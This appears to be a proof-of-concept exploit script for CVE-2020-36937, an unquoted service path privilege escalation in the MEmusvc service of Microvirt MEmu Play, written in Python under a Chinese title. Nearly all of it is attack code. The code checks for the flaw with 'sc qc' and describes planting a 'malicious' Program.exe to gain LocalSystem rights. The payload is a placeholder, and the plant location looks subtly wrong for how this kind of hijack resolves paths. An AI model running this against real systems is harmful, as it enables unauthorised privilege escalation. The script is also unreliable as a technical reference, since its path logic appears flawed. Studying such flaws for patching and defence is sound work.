CVE-2020-36937: Microvirt MEMU Play MEmusvc服务未引用路径权限提升漏洞

# CVE-2020-36937 PoC - MEmusvc Unquoted Service Path # This PoC demonstrates the unquoted service path vulnerability in MEmusvc # Target: Microvirt MEMU Play 3.7.0 MEmusvc Windows Service import os import sys import subprocess import shutil # Configuration MALICIOUS_EXE_NAME = "Program.exe" # Malicious executable name based on path structure SERVICE_NAME = "MEmusvc" MALICIOUS_DIR = r"C:\Program Files\Microvirt\MEMU" # Path where to place malicious exe def check_vulnerability(): """Check if the target service exists and is vulnerable""" try: # Query service configuration using sc command result = subprocess.run( ["sc", "qc", SERVICE_NAME], capture_output=True, text=True ) if result.returncode == 0 and "BINARY_PATH_NAME" in result.stdout: # Extract the binary path from service config for line in result.stdout.split('\n'): if 'BINARY_PATH_NAME' in line: print(f"[+] Service found. Path: {line}") # Check if path is unquoted (vulnerability exists) path = line.split(':', 1)[1].strip() if ':' in line else line if '"' not in path and ' ' in path: print("[+] VULNERABLE: Service path is unquoted!") return True else: print("[-] NOT VULNERABLE: Service path is properly quoted") return False else: print(f"[-] Service '{SERVICE_NAME}' not found") return False except Exception as e: print(f"[-] Error checking service: {e}") return False def create_malicious_exe(output_path): """Create a simple malicious executable (placeholder for actual malware)""" # This is a placeholder - in real attack, replace with actual malicious code print(f"[*] Creating malicious executable at: {output_path}") # Example: Create a simple batch script wrapper malicious_code = '''@echo off echo MEmusvc exploit executed with LocalSystem privileges > C:\\Windows\\Temp\\memu_exploit.txt echo Timestamp: %date% %time% >> C:\\Windows\\Temp\\memu_exploit.txt ''' # In practice, this would be a compiled executable # For demonstration, we show the concept print("[!] In real attack, this would be a compiled executable") print("[!] The executable would run with LocalSystem privileges") return True def exploit(): """Main exploitation function""" print("=" * 60) print("CVE-2020-36937 - MEmusvc Unquoted Service Path Exploit") print("=" * 60) # Step 1: Check if vulnerable if not check_vulnerability(): print("\n[-] Exploitation aborted - target not vulnerable") return False # Step 2: Create malicious executable malicious_path = os.path.join(MALICIOUS_DIR, MALICIOUS_EXE_NAME) # Check if we have write permissions if not os.access(MALICIOUS_DIR, os.W_OK): print(f"[-] No write permission to {MALICIOUS_DIR}") print("[-] This exploit requires low-privilege code execution") return False # Step 3: Place malicious executable if create_malicious_exe(malicious_path): print(f"[+] Malicious executable would be placed at: {malicious_path}") print("[+] On next service restart, the malicious code will execute") print("[+] Code will run with LocalSystem (NT AUTHORITY\SYSTEM) privileges") return True if __name__ == "__main__": print("\n[*] This is a demonstration of CVE-2020-36937") print("[*] For authorized security testing only\n") exploit()